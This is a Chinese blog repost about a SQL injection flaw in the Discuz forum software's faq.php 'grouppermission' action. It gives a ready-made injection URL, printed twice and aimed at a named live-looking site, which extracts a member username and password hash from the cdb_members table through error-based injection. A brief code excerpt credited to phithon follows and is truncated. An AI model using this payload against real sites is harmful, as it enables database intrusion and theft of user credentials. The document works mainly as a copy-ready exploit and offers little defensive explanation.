本文整理自网络，侵删。
注入代码实例:
代码如下:
http://1000zx.cn/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
http://1000zx.cn/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
漏洞分析： by phithon
代码如下:
($action == 'grouppermission') {
($action == 'grouppermission') {
...
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
相关阅读 >>
对不起,您安装的不是正版应用,安装程序无法继续执行 discuz
国外著名论坛程序ipb(invision power board)在nginx下的配置示例
php setcookie设置cookie用法(及设置无效的问题)
更多相关阅读请进入《Discuz论坛》频道 >>
感谢您的支持，我会继续努力的!
扫码打赏，您说多少就多少
打开支付宝扫一扫，即可进行扫码打赏哦
分享从这里开始，精彩与您同在
相关推荐
评论
管理员已关闭评论功能...
- 欢迎访问木庄网络博客
- 可复制：代码框内的文字。
- 方法：Ctrl+C。